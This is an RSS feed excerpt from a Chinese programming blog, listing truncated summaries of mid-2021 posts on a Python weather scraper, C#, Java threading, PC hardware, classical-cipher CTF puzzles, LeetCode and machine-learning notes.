      <description>文章目录 前言最终成果详细步骤1.导入要用的库2.得到地址的函数3.传入地址后得到数据的函数4.将数据写入CSV5.将CSV转换成html，用pyecharts将数据进行可视化展示 完整代码补充 前言 主要内容：&#xA;简单地搭建了一个flask页面，自己输入要查找的城市和年份，返回该城市这一年的平均天气情况。&#xA;用pyecharts做了一个时间轴的可视化展示，感觉比较美观。&#xA;（这次的内容是在以前代码的基础上进行扩展的，这是之前做出来的项目 爬取天气信息，在他的基础上可以自己输入要找的城市和年份，并且用了flask搭建网页）&#xA;使用环境：&#xA;vscode；&#xA;各种python库（如何在vscode中安装python库请参照这篇链接在vscode环境里导入python库（三种方法） | 详细过程）&#xA;最终成果 大致效果：&#xA;这个是flask进入界面（比较简单，不够美观~~）&#xA;p.s. 之后对该页面进行了美化，可以参考我的这篇文章&#xA;效果图：&#xA;输入查找的城市之后，会像之前一样进行可视化展示（其实就是展示之前生成的html页面）&#xA;详细步骤 第一部分：&#xA;将得到网页地址，按照地址得到数据，解析数据，把数据写入CSV，将CSV转换成html 这些功能都以函数形式封装，并写到一个文件里 weather.py&#xA;1.导入要用的库 解析数据的，生成随机headers的库，可视化要用的库等等&#xA;from os import write import requests #替代浏览器进行网络请求 from lxml import etree #进行数据预处理 import csv #写入csv文件 import pandas as pd &#34;&#34;&#34; 生成随机headers &#34;&#34;&#34; from fake_useragent import UserAgent &#34;&#34;&#34; 可视化部分 &#34;&#34;&#34; #需要先导入pandas和pyecharts包 import pandas as pd #pandas主要用于数据分析 #可视化 from pyecharts import options as opts #导入配置项 from pyecharts.</description>
    </item>
    <item>
      <title>点击开台.</title>
      <link>https://bchobby.github.io/posts/9fa5b921fd7e4093bd2e4e2930197203/</link>
      <pubDate>Wed, 14 Jul 2021 20:36:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fa5b921fd7e4093bd2e4e2930197203/</guid>
      <description>//鼠标按下判断开台&#xA;private void GridMouseDown()&#xA;{&#xA;string statu = dataTable.Rows[0][“Status”].ToString();//获取餐桌状态&#xA;int people = Convert.ToInt32(dataTable.Rows[0][“People”].ToString());//餐桌容纳人数&#xA;int tabletypeID = Convert.ToInt32(dataTable.Rows[0][“TableTypeID”].ToString());//桌子ID&#xA;if (dataTable.Rows[0][“orderID”].ToString() != “”)//判断是否下单&#xA;{&#xA;OrderID = Convert.ToInt32(dataTable.Rows[0][“OrderID”].ToString());//获取订单ID&#xA;}&#xA;if(statu == “空桌”)&#xA;{&#xA;KaiTaiKaiTai orderKT = new KaiTaiKaiTai();&#xA;var orderKTViewModel = (orderKT.DataContext as OrderKtViewModel);&#xA;orderKTViewModel.TableTypeID = TableTypeID;&#xA;orderKTViewModel.People = people;&#xA;//弹出窗口&#xA;orderKT.ShowDialog();&#xA;if (DiningTable != null)&#xA;{&#xA;DiningTable();&#xA;}&#xA;}&#xA;}&#xA;进去之后就是一个页面选择菜品样式&#xA;然后查询出菜品样式&#xA;private void SelectAtion(WrapPanel wp)&#xA;{&#xA;//获取WrapPanel&#xA;WP = wp;</description>
    </item>
    <item>
      <title>家中买的计算机配置,配置,教您买电脑主要看哪些配置</title>
      <link>https://bchobby.github.io/posts/d9a71b40e896388dc09ee6f566b2d7b8/</link>
      <pubDate>Wed, 14 Jul 2021 18:04:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9a71b40e896388dc09ee6f566b2d7b8/</guid>
      <description>网络时代的到来使得电脑的普及率越来越高，而在面对电脑问题，还是一大堆疑问，很多其他学校的人问买电脑的时候要看什么配置啊，什么样的品牌会质量好而且又便宜，又需要考虑些什么性能等等，为此，小编就给大家带来了买电脑主要看配置的经验。&#xA;对于很多不懂电脑的小白来说，初次买电脑，往往不知道主要看什么，买笔记本电脑需要注意些什么?其实无论是台式电脑、组装电脑又或者笔记本，买电脑最重要的是看性能，而决定电脑性能的核心硬件，又是由CPU、显卡、内存、硬盘等硬件决定。下面，小编就来跟大家介绍买电脑主要看哪些配置。&#xA;买电脑主要看哪些配置&#xA;买电脑主要看什么?&#xA;硬件设备的性能是决定电脑优劣的关键因素。买电脑主要看CPU、显卡、主板、内存、硬盘等硬件的性能参数，电脑配置的好坏也取决于这些硬件性能参数。&#xA;1.CPU： 这个主要取决于频率和二级缓存，频率越高、二级缓存越大，速度越快，现在的CPU有三级缓存、四级缓存等，都影响相应速度。&#xA;系统配置电脑图解1&#xA;2.内存： 内存的存取速度取决于接口、颗粒数量多少与储存大小(包括内存的接口，如：SDRAM133，DDR333，DDR2-533，DDR2-800,DDR3-1333)，一般来说，内存越大，处理数据能力越强，速度就越快。&#xA;3.主板： 主要还是处理芯片，如：笔记本i965比i945芯片处理能力更强，i945比i910芯片在处理数据的能力又更强些，依此类推。&#xA;电脑配置电脑图解2&#xA;4.硬盘： 硬盘在日常使用中，考虑得少一些，不过也有是有一些影响的，首先，硬盘的转速(分：高速硬盘和低速硬盘，高速硬盘一般用在大型服务器中，如：10000转，15000转;低速硬盘用在一般电脑中，包括笔记本电脑)，台式机电脑一般用7200转，笔记本电脑一般用5400转，这主要是考虑功耗和散热原因。硬盘速度又因接口不同，速率不同，一般而言，分IDE和SATA(也就是常说的串口)接口，早前的硬盘多是IDE接口，相比之下，存取速度比SATA接口的要慢些。硬盘也随着市场的发展，缓存由以前的2M升到了8M,现在是16M或32M或更大，就像CPU一样，缓存越大，速度会快些。&#xA;系统配置电脑图解3&#xA;5.显卡： 这项与运行超大程序软件的响应速度有着直接联系，如运行CAD2007，3DStudio、3DMAX等图形软件。显卡除了硬件级别上的区分外，也有“共享显存”技术的存在，和一般自带显存芯片的不同，就是该“共享显存”技术，需要从内存读取显存，以处理相应程序的需要。或有人称之为：动态显存。这种技术更多用在笔记本电脑中。&#xA;6.电源： 这个只要功率足够和稳定性好，稳定的电源是很重要的。&#xA;7. 显示器 ： 显示器与主板的接口也一样有影响，只是人们一般没有太在乎。&#xA;电脑电脑图解4&#xA;怎么看电脑配置？&#xA;1.借助第三方软件，比如著名的硬件检测软件 Everest ，它可以详细的显示出电脑硬件的信息，Everest 软件非常的强大，是电脑装机必备的一个软件。其他还有一些比较好的电脑配置信息检测软件，比如优化大师、鲁大师等可以用来帮助你了解怎么看电脑配置。另外，专 门 检测cpu的软件：CPU-Z，专门检测显卡的软件：GPU-Z，专门检测硬盘的软件：HDTune，专门检测内存的软件：memtest，专门检测LCD显示器的软件：DisplayX，专家检测笔记本电脑电池的软件：BatteryMon 等等，大家可以下载这些软件来获取怎么看电脑配置的知识电脑配置单。&#xA;系统配置电脑图解5&#xA;2.还有什么办法看电脑配置呢，最直接的办法就看，点我的电脑-属性，属性下面有关于电脑配置的信息。右键“我的电脑”--属性(打开系统属性)--“硬件”选项下的“设备管理器”，里面就是电脑配置信息。 但请注意：这里的配置属性是可以通过特殊软件修改的，比如有些JS拿一些打磨品，修改为好的cpu，这种情况会出现二手电脑市场。&#xA;以上就是买电脑主要看哪些配置的解说了。</description>
    </item>
    <item>
      <title>全国计算机一级wps考试大纲,计算机一级WPS Office考试大纲（2021年版）</title>
      <link>https://bchobby.github.io/posts/b12c0fd858211351912127bcba9e4d94/</link>
      <pubDate>Wed, 14 Jul 2021 17:28:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b12c0fd858211351912127bcba9e4d94/</guid>
      <description>全国计算机等级考试一级WPS Office考试大纲(2021年版)&#xA;基本要求&#xA;1.具有微型计算机的基础知识(包括计算机病毒的防治常识)。&#xA;2.了解微型计算机系统的组成和各部分的功能。&#xA;3.了解操作系统的基本功能和作用，掌握Windows的基本操作和应用。&#xA;4.了解文字处理的基本知识，熟练掌握文字处理WPS文字的基本操作和应用，熟练掌握一种汉字(键盘)输入方法。&#xA;5.了解电子表格软件的基本知识，掌握WPS表格的基本操作和应用。&#xA;6.了解多媒体演示软件的基本知识，掌握演示文稿制作软件WPS演示的基本操作和应用。&#xA;7.了解计算机网络的基本概念和因特网(lntermet)的初步知识，掌握浏览器软件和OutlookExpress软件的基本操作和使用。&#xA;考试内容&#xA;一、计算机基础知识&#xA;1.计算机的发展、类型及其应用领域。&#xA;2.计算机中数据的表示、存储与处理。&#xA;3.多媒体技术的概念与应用。&#xA;4.计算机病毒的概念、特征、分类与防治。&#xA;5.计算机网络的概念、组成和分类;计算机与网络信息安全的概念和防控。&#xA;6.因特网网络服务的概念、原理和应用。&#xA;二、操作系统的功能和使用&#xA;1.计算机软、硬件系统的组成及主要技术指标。&#xA;2.操作系统的基本概念、功能、组成及分类。&#xA;3.Window。操作系统的基本概念和常用术语，文件、文件夹、库等。&#xA;4.Window。操作系统的基本操作和应用∶&#xA;(1)桌面外观的设置，基本的网络配置。&#xA;(2)熟练掌握资源管理器的操作与应用。&#xA;(3)掌握文件、磁盘、显示属性的查看、设置等操作。&#xA;(4)中文输入法的安装、删除和选用。&#xA;(5)掌握检索文件、查询程序的方法。&#xA;(6)了解软、硬件的基本系统工具。&#xA;三、WPS文字处理软件的功能和使用&#xA;1.文字处理软件的基本概念，WPS文字的基本功能、运行环境、启动和退出。&#xA;2.文档的创建、打开和基本编辑操作，文本的查找与替换，多窗口和多文档的编辑。&#xA;3.文档的保存、保护、复制、删除、插入。&#xA;4.字体格式、段落格式和页面格式设置等基本操作，页面设置和打印预览。&#xA;5.WPS文字的图形功能，图形、图片对象的编辑及文本框的使用。&#xA;6.WPS文字表格制作功能，表格结构、表格创建、表格中数据的输入与编辑及表格样式的使用。&#xA;四、WPS表格软件的功能和使用&#xA;1.电子表格的基本概念，WPS表格的功能、运行环境、启动与退出。&#xA;2.工作簿和工作表的基本概念，工作表的创建、数据输入、编辑和排版。&#xA;3.工作表的插入、复制、移动、更名、保存等基本操作。&#xA;4.工作表中公式的输入与常用函数的使用。&#xA;5.工作表数据的处理，数据的排序、筛选、查找和分类汇总，数据合并。&#xA;6.图表的创建和格式设置。&#xA;7.工作表的页面设置、打印预览和打印。&#xA;8.工作簿和工作表数据安全、保护及隐藏操作。&#xA;五、WPS演示软件的功能和使用&#xA;1.演示文稿的基本概念，WPS演示的功能、运行环境、启动与退出。&#xA;2.演示文稿的创建、打开和保存。&#xA;3.演示文稿视图的使用，演示页的文字编排，图片和图表等对象的插入，演示页的插入，删除、复制以及演示页顺序的调整。&#xA;4.演示页版式的设置、模板与配色方案的套用、母版的使用。&#xA;5.演示页放映效果的设置、换页方式及对象动画的选用，演示文稿的播放与打印。&#xA;六、因特网(Internet)的初步知识和应用&#xA;1.了解计算机网络的基本概念和因特网的基础知识，主要包括网络硬件和软件，TCP/IP协议的工作原理，以及网络应用中常见的概念，如域名、IP地址、DNS服务等。&#xA;2.能够熟练掌握浏览器、电子邮件的使用和操作。&#xA;考试方式&#xA;1.采用无纸化考试，上机操作。考试时间为90分钟。&#xA;2.软件环境∶Windows 7操作系统，WPS Officece2012办公软件。&#xA;3.在指定时间内，完成下列各项操作∶&#xA;(1)选择题(计算机基础知识和网络的基本知识)。(20分)&#xA;(2)Windows操作系统的使用。(10分)&#xA;(3)WPS文字的操作。(25分)&#xA;(4)WPS表格的操作。(20分)&#xA;(5)WPS演示软件的操作。(15分)&#xA;(6)浏览器(IE)的简单使用和电子邮件收发。(10分)&#xA;文章推荐：&#xA;温馨提示：&#xA;想要了解更多的计算机等级考试题库请点击下载&amp;gt;&amp;gt;&amp;gt;计算机等级考试题库</description>
    </item>
    <item>
      <title>Android Studio报错：unrecognized Attribute name MODULE</title>
      <link>https://bchobby.github.io/posts/0b710d10da483623e58e37af43405aa3/</link>
      <pubDate>Wed, 14 Jul 2021 17:25:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b710d10da483623e58e37af43405aa3/</guid>
      <description>gradle里面compileSdkVersion和buildToolsVersion版本过高，超过Android Studio支持范围</description>
    </item>
    <item>
      <title>策略模式实例与解析--实例一：排序策略</title>
      <link>https://bchobby.github.io/posts/e781a23c526f5113b6fccdc576034a87/</link>
      <pubDate>Wed, 14 Jul 2021 13:12:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e781a23c526f5113b6fccdc576034a87/</guid>
      <description>某系统提供了一个用于对数组数据进行操作的类，该类封装了对数组的常见操作，如查找数组元素、对数组元素进行排序等。现以排序操作为例，使用策略模式设计该数组操作类，使得客户端可以动态地更换排序算法，可以根据需要选择冒泡排序或选择排序或插入排序，也能够灵活地增加新的排序算法。&#xA;public class ArrayHandler { private Sort sortObj; public int[] sort(int arr[]) { sortObj.sort(arr); return arr; } public void setSortObj(Sort sortObj) { this.sortObj = sortObj; } } public class BubbleSort implements Sort { public int[] sort(int arr[]) { int len=arr.length; for(int i=0;i&amp;lt;len;i++) { for(int j=i+1;j&amp;lt;len;j++) { int temp; if(arr[i]&amp;gt;arr[j]) { temp=arr[j]; arr[j]=arr[i]; arr[i]=temp; } } } System.out.println(&#34;冒泡排序&#34;); return arr; } } public class Client { public static void main(String args[]) { int arr[]={1,4,6,2,5,3,7,10,9}; int result[]; ArrayHandler ah=new ArrayHandler(); Sort sort; sort=(Sort)XMLUtil.</description>
    </item>
    <item>
      <title>计算机房清洁安排表怎么做,机房总安排表.doc</title>
      <link>https://bchobby.github.io/posts/1c42bc66a13a7bfd8a5c1da4f3188776/</link>
      <pubDate>Wed, 14 Jul 2021 12:28:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c42bc66a13a7bfd8a5c1da4f3188776/</guid>
      <description>机房总安排表&#xA;鹤壁市机电信息工程学校计算机第一机房安排表&#xA;星期一星期二星期三星期四星期五一&#xA;二1233Flash1233AVID1233Word1234AVID1233AVID郑红霞北薛林莉北李建民薛林莉北薛林莉北1110计应用1234Flash11会计电算化1109计应用王相利南郑红霞北郭智花北王相利北三&#xA;四1234Flash1234AVID1233AVID1234AVID郑红霞北薛林莉北薛林莉北薛林莉北11计组装11动漫组装11计组装胡玉琴胡玉琴胡玉琴五&#xA;六11动漫组装1233Flash1234Word1233Flash1236PS胡玉琴郑红霞北李建民郑红霞北周艳芳北12023Dmax1109计应用王基文王相利北备注：1、上课老师请组织本班学生打扫机房卫生，下课后鹤壁市机电信息工程学校计算机第二机房安排表&#xA;星期一星期二星期三星期四星期五一&#xA;二1236PS1110计应用1229计应用1233Word1231计应用周艳芳南王相利北马红霞北李建民马红霞北1234Word1235Flash1236Flash1236Flash李建民北张红英南张红英南张红英南三&#xA;四1236PS1236Flash1236AE1235Flash1236AE周艳芳南张红英南吴辉南张红英南吴辉南1233Word1235Word李建民北温守坤五&#xA;六1218计应用1228计应用1230计应用1234Word1232计应用马红霞北马红霞北马红霞北李建民马红霞北1236AE1235Word1235Word1235Flash吴辉南温守坤温守坤张红英南鹤壁市机电信息工程学校计算机第三机房安排表&#xA;星期一星期二星期三星期四星期五一&#xA;二11会计电算化1210计应用1232AUTO11动漫VB1235AVID郭智花西任晓霞东闪双风西刘明月东周艳芳西11计算机VB11计组装1232AUTO11动漫VB1234Flash刘明月东胡玉琴东杨磊磊东杨磊磊东郑红霞东三&#xA;四11动漫VB11计算机VB1213计应用1216计应用1235AVID刘明月东刘明月东杨磊磊东杨磊磊东周艳芳西1211计应用1232AUTO任晓霞西闪双风西五&#xA;六1219计应用1217计应用1214计应用11动漫组装于九九东杨磊磊东杨磊磊东胡玉琴东1235AVID1229CD11工美CD1229CD周艳芳西秦蕾蕾西秦蕾蕾西秦蕾蕾西七&#xA;八12023Dmax王基文西</description>
    </item>
    <item>
      <title>cat ＜＜ EOF 什么意思？</title>
      <link>https://bchobby.github.io/posts/1d7ce8a2ce02cba5cf84396e22a09423/</link>
      <pubDate>Tue, 13 Jul 2021 21:35:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d7ce8a2ce02cba5cf84396e22a09423/</guid>
      <description>cat &amp;lt;&amp;lt;EOF 什么意思？&#xA;cat命令表示查看，而cat &amp;lt;&amp;lt;EOF命令表示将进行输入，直到以EOF终止符来结束输入（最后的新行）。EOF必须写在一行的头部，前面不能有制表符或者空格。如果结束符EOF前面有制表符或者空格，则EOF不会被当做结束符，只会被视为继续输入的状态。&#xA;简单的理解，就是随意输入一堆字符，当输入EOF的时候才真正结束。&#xA;如果还想写入到某个文件，可以 cat &amp;lt;&amp;lt;EOF &amp;gt; 某个文件，每次写入文件都会覆写而不是追加写。&#xA;这种是正确的写法：&#xA;cat &amp;lt;&amp;lt;EOF Hello,world! EOF&#xA;而&amp;lt;&amp;lt;-可以解决上面所说的问题：&#xA;cat &amp;lt;&amp;lt;-EOF Hello,world! EOF&#xA;虽然最后的EOF结束符前面有多个制表符和空格，但仍然会被当做结束符，表示输入的结束。输入内容是&#34;Hello,world!&#34;。</description>
    </item>
    <item>
      <title>彻底阻止、禁用google chrome浏览器自动更新、升级</title>
      <link>https://bchobby.github.io/posts/a1732fef4e5a33dab06e65e1bca7009e/</link>
      <pubDate>Tue, 13 Jul 2021 21:13:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1732fef4e5a33dab06e65e1bca7009e/</guid>
      <description>对于google浏览器，你只要点到“关于Chrome”界面，它就会自动更新，这对于开发人员来说非常的恶心，因此需要想办法阻止其自动更新。&#xA;第一步，首先是禁止Google更新服务&#xA;win+r，打开“运行”，输入services.msc，回车。&#xA;将两个Google 更新服务禁用掉（如果没有这两个服务，跳过这一步即可，不会影响到后边的操作）。&#xA;第二步，删除自动更新任务&#xA;win+r 打开“运行”，输入“taskschd.msc”，回车&#xA;删除掉google的所有更新任务（右键--&amp;gt;删除）&#xA;最后一步，修改Google浏览器自动更新目录的权限，使其无法访问此目录。&#xA;进入%HOMEPATH%\AppData\Local\Google目录，我们看到目录下有个Update文件夹，我刚开始想的是删除掉这个文件夹，但是后边还是自动更新了，因此可以推测浏览器会自动创建这个文件夹，并且生成里边的数据，所以我可以不删除这个文件夹，但是可以修改Update文件夹的访问权限，让浏览器无权限访问此目录，对于Update文件夹里边的东西，其实删不删都无所谓，不过最好还是删掉，因为他还是占用电脑存储空间的。&#xA;接下来一步步更改Update文件夹的权限，小板凳做好了。&#xA;1. 右键Update文件夹，打开属性，点到“安全”界面，然后点击右下角的“高级”&#xA;2. 点击禁用继承，选择“从此对象中删除所有已继承的权限”&#xA;3. 此时权限条目下边就全部为空了，然后点击左上角的更改所有者&#xA;4. 左边输入“Administrator” ，点击右边的检查名称，如果输入正确，会自动补全成下边这个样子，然后点击“确定”。&#xA;5. 此时可以看到Update文件夹的所有者已经成了Administrator，并且所有组或用户均不具有访问此对象的权限。然后点击“应用”，此时会有一个弹框提示，点击确定就行，最后一路确定，直到关闭属性窗口。&#xA;6. 现在双击进入Update目录，会提示无权限访问，你点击“继续”也访问不了，这下应该总算安全了吧。&#xA;此时你再去查看“关于Chrome”，会提示无法启动更新检测，完美。</description>
    </item>
    <item>
      <title>int与CString互转</title>
      <link>https://bchobby.github.io/posts/75c1ef9aa0a31ecd672a2a97593d4491/</link>
      <pubDate>Tue, 13 Jul 2021 09:51:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75c1ef9aa0a31ecd672a2a97593d4491/</guid>
      <description>int转CString int port = 8080; CString tempPort;&#xA;tempPort.Format(_T(&#34;%d&#34;), port ); //Use Unicode Character Set&#xA;CString转int CString strData = “8888”&#xA;int data = _ttoi(strData)&#xA;使用 Unicode 字符，用_ttoi()，在 ANSI 编码系统中被编译成_atoi()，而在 Unicode 编码系统中编译成_wtoi()&#xA;————————————————&#xA;版权声明：本文为CSDN博主「pengshengli」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/pengshengli/article/details/89092335</description>
    </item>
    <item>
      <title>Thread的join方法原理</title>
      <link>https://bchobby.github.io/posts/acdd95b3a8ba962a0e43cf07faeb5e3c/</link>
      <pubDate>Tue, 13 Jul 2021 09:45:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acdd95b3a8ba962a0e43cf07faeb5e3c/</guid>
      <description>点击↑上方↑蓝色“编了个程”关注我~&#xA;这是Yasin的第 49 篇原创文章&#xA;Y说 今天没什么要说的。我个人很喜欢拍天空的照片，放一张前段时间晚上拍的照片吧。&#xA;join方法释放锁吗？ 前段时间，有一个读者私信我，问了这么一个问题：Thread实例的join方法内部是调用的wait方法，而wait方法是会释放锁的，为什么网上很多文章（包括我们之前写的开源书《深入浅出Java多线程》）会说join方法不释放锁？&#xA;释放thread对象锁 我们先用书中的一个例子说起：&#xA;public class Join { static class ThreadA implements Runnable { @Override public void run() { try { System.out.println(&#34;我是子线程，我先睡一秒&#34;); Thread.sleep(1000); System.out.println(&#34;我是子线程，我睡完了一秒&#34;); } catch (InterruptedException e) { e.printStackTrace(); } } } public static void main(String[] args) throws InterruptedException { Thread thread = new Thread(new ThreadA()); thread.start(); thread.join(); System.out.println(&#34;如果不加join方法，我会先被打出来，加了就不一样了&#34;); } } 在这个例子中，我们在main方法中调用了thread.join()，打印出来的效果就是：&#xA;我是子线程，我先睡一秒 我是子线程，我睡完了一秒 如果不加join方法，我会先被打出来，加了就不一样了 这个例子想要表达的意图很简单，就是通过thread实例的join方法，达到main线程等待thread线程执行完后再继续执行的效果。&#xA;那join方法底层是如何实现这个功能的呢？究竟会不会释放锁呢？我们点进去看看源码。&#xA;if (millis == 0) { while (isAlive()) { wait(0); } } else { while (isAlive()) { long delay = millis - now; if (delay &amp;lt;= 0) { break; } wait(delay); now = System.</description>
    </item>
    <item>
      <title>2021-07-12</title>
      <link>https://bchobby.github.io/posts/f5aacf8c46f43d01d08fa79d2d72cfa9/</link>
      <pubDate>Mon, 12 Jul 2021 22:45:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5aacf8c46f43d01d08fa79d2d72cfa9/</guid>
      <description>[ACTF新生赛2020]crypto-classic1 题目&#xA;hint&#xA;哇，这里有压缩包的密码哦，于是我低下了头，看向了我的双手，试图从中找到某些规律 xdfv ujko98 edft54 xdfv pok,.; wsdr43 解题&#xA;看向自己的双手，xdfv ujko98 edft54 xdfv pok,.; wsdr43&#xA;键盘加密，每组字母包围起来的字母分别为：circle&#xA;解压，得到：SRLU{LZPL_S_UASHKXUPD_NXYTFTJT}&#xA;提示是维吉尼亚加密，&#xA;c=&#39;SRLU{LZPL_S_UASHKXUPD_NXYTFTJT}&#39; m=&#39;ACTF{&#39; a=[] for i in range(4): a.append(str(ord(c[i])-ord(m[i]))) print(m,end=&#39;&#39;) for i in range(5,len(c)): if &#39;A&#39;&amp;lt;= c[i]&amp;lt;= &#39;Z&#39;: print(chr((ord(c[i])-int(a[i%4])-ord(&#39;A&#39;))%26+ord(&#39;A&#39;)),end=&#39;&#39;) else: print(c[i],end=&#39;&#39;) 得到：ACTF{WHAT_A_CLASSICAL_VIGENERE}&#xA;最后将其中字母换成小写就行了&#xA;答案&#xA;flag{what_a_classical_vigenere}&#xA;[AFCTF2018]你听过一次一密么？ 题目&#xA;Problem&#xA;25030206463d3d393131555f7f1d061d4052111a19544e2e5d 0f020606150f203f307f5c0a7f24070747130e16545000035d 1203075429152a7020365c167f390f1013170b1006481e1314 0f4610170e1e2235787f7853372c0f065752111b15454e0e09 081543000e1e6f3f3a3348533a270d064a02111a1b5f4e0a18 0909075412132e247436425332281a1c561f04071d520f0b11 4116111b101e2170203011113a69001b475206011552050219 041006064612297020375453342c17545a01451811411a470e 021311114a5b0335207f7c167f22001b44520c15544801125d 06140611460c26243c7f5c167f3d015446010053005907145d 0f05110d160f263f3a7f4210372c03111313090415481d49 解题&#xA;一次一密是无条件安全的。&#xA;那这道题应该是二次密码本加密了&#xA;参考关于Many-Time-Pad的某大佬笔记、关于ACTF解题笔记&#xA;写脚本中、、、、&#xA;算了，我放弃，还是来看大佬的吧：&#xA;import string import collections import sets, sys # 11 unknown ciphertexts (in hex format), all encrpyted with the same key c1=&#39;25030206463d3d393131555f7f1d061d4052111a19544e2e5d&#39; c2=&#39;0f020606150f203f307f5c0a7f24070747130e16545000035d&#39; c3=&#39;1203075429152a7020365c167f390f1013170b1006481e1314&#39; c4=&#39;0f4610170e1e2235787f7853372c0f065752111b15454e0e09&#39; c5=&#39;081543000e1e6f3f3a3348533a270d064a02111a1b5f4e0a18&#39; c6=&#39;0909075412132e247436425332281a1c561f04071d520f0b11&#39; c7=&#39;4116111b101e2170203011113a69001b475206011552050219&#39; c8=&#39;041006064612297020375453342c17545a01451811411a470e&#39; c9=&#39;021311114a5b0335207f7c167f22001b44520c15544801125d&#39; c10=&#39;06140611460c26243c7f5c167f3d015446010053005907145d&#39; c11=&#39;0f05110d160f263f3a7f4210372c03111313090415481d49&#39; ciphers = [c1, c2, c3, c4, c5, c6, c7, c8, c9, c10, c11] # The target ciphertext we want to crack #target_cipher = &#34;</description>
    </item>
    <item>
      <title>室内定位-架构设计（一）</title>
      <link>https://bchobby.github.io/posts/0ea177dc486c402876cf6503a8f48bd5/</link>
      <pubDate>Mon, 12 Jul 2021 22:24:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ea177dc486c402876cf6503a8f48bd5/</guid>
      <description>室内定位-架构设计（一） 一、 定位模式 快速定位 用于移动速度较快或路径弯曲的定位，A点跳到B点； 步行模式 慢速、匀速，A点平滑到B点； 导航模式 吸附，点位始终附着在最近路径上； 二、 SDK 蓝牙扫描sdk 扫描模式： 1）定位巡检模式 0 阀值 1～10（数字越大，精准度越高） 2）定位导航模式 1 阀值 1～5 （数字越大，越趋向于平滑，相对较为延迟1、2秒） 定位sdk 定位模式： 1）静止、运动状态检测 0（静止） 1（运动） 2）三边加权算法 （默认开启） 3）指纹算法 （指纹库对比默认不开启） 3）惯性 （根据静止、运动状态，经验值姿态平滑前行，需要配合三边加权纠正偏移） 地图sdk 1）2D地图：基于D3，svg矢量图 2）3D地图：基于Three 3D引擎； 三、基础功能演示 室内定位</description>
    </item>
    <item>
      <title>力扣19题（链表，双指针，快慢指针）</title>
      <link>https://bchobby.github.io/posts/6e698f460c1c43ee16b0fcfef05f20b1/</link>
      <pubDate>Mon, 12 Jul 2021 20:01:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e698f460c1c43ee16b0fcfef05f20b1/</guid>
      <description>19.给你一个链表，删除链表的倒数第 n 个结点，并且返回链表的头结点。&#xA;进阶：你能尝试使用一趟扫描实现吗？&#xA;删除第n个结点，很容易就想到了先反转链表然后删除第n个结点后再反转过来，这样貌似要走很多次循环，一开始还怕过不了，但没想到实现效果貌似还行。 /** * Definition for singly-linked list. * struct ListNode { * int val; * struct ListNode *next; * }; */ /** * Definition for singly-linked list. * struct ListNode { * int val; * struct ListNode *next; * }; */ //反转链表 struct ListNode* reverseList(struct ListNode* head){ //p用来指向q指向的前一个指针，q用来遍历链表 struct ListNode *p = NULL, *q = head, *temp; while (q != NULL) { temp = q-&amp;gt;next; q-&amp;gt;next = p; p = q; q = temp; } return p; } struct ListNode* removeNthFromEnd(struct ListNode* head, int n){ if (n &amp;lt; 0 || head == NULL) return head; head = reverseList(head); struct ListNode *dummyHead = (struct ListNode*)malloc(sizeof(struct ListNode)); dummyHead-&amp;gt;next = head; int count = 0; struct ListNode *curNode = dummyHead; while (curNode !</description>
    </item>
    <item>
      <title>segy和su文件格式说明</title>
      <link>https://bchobby.github.io/posts/d689ad0d54c0925eb6631213c2e608a7/</link>
      <pubDate>Mon, 12 Jul 2021 19:46:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d689ad0d54c0925eb6631213c2e608a7/</guid>
      <description>segy格式道头中对应字节处的数据说明和su道头关键字的描述&#xA;1-4 tracl 测线中的道顺序号&#xA;5-8 tracr segy文件中的道顺序号，一般等于tracl&#xA;9-12 fldr 野外原始记录号，一般为炮号&#xA;13-16 tracf 野外原始记录的道号，一般为检波器号&#xA;17-20 ep 震源点号，一般与野外炮号相等&#xA;21-24 cdp 道集号&#xA;25-28 cdpt 道集的道数&#xA;73-76 sx 震源x坐标&#xA;77-80 sy 震源y坐标&#xA;81-84 gx 检波器x坐标&#xA;85-88 gy 检波器y坐标&#xA;参考链接https://max.book118.com/html/2018/0505/164759043.shtm</description>
    </item>
    <item>
      <title>李宏毅机器学习笔记</title>
      <link>https://bchobby.github.io/posts/1656b98b3a67136c8a069f30525ae787/</link>
      <pubDate>Mon, 12 Jul 2021 16:19:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1656b98b3a67136c8a069f30525ae787/</guid>
      <description>截图来自李宏毅2020机器学习深度学习。&#xA;有监督学习supervised learning需要提供一些有目标值的数据给机器去学习。用loss来判断函数的好坏，loss越小函数越符合我们的期待。reinforcement learning强化学习，机器自主进行学习。（Alpha Go是supervised learning + reinforcement learning）unsupervised learning无监督学习，给机器提供一些无目标值的数据去学习。meta learning：让机器学习如何去学习 文章目录 一、Regression（一）建模过程（二）误差来源（三）Gradient Descent 二、Classification（一）建模过程（二）Logistic Regression 三、Deep Learning（一）深度学习步骤（二）BackPropogation（三）卷积神经网络CNN（四）Tips for Traning DNN（五）PyTorch（六）图神经网络GNN（七）循环神经网络RNN 四、Semi-supervised Learning半监督学习五、Unsupervised Learning无监督学习（一）聚类Clustering（二）Dimension Reduction降维（三）word embeding词嵌入向量（四）Neighbor Embeding邻域嵌入方法（五）Auto-encoder 六、Explainable ML七、Attack ML Models八、Network Compression 一、Regression Regression应用：股票预测、无人驾驶、推荐系统。 （一）建模过程 步骤：&#xA;（1）构建模型（函数的集合，即同一函数式，但是有不同的权重和偏置）；&#xA;（2）收集训练数据；有了训练数据然后通过一个Loss function（参数为函数，用于判断函数的好坏程度，而函数又是由权重和偏置来决定的，所以其实也是用来判断一组参数的好坏程度）&#xA;Loss 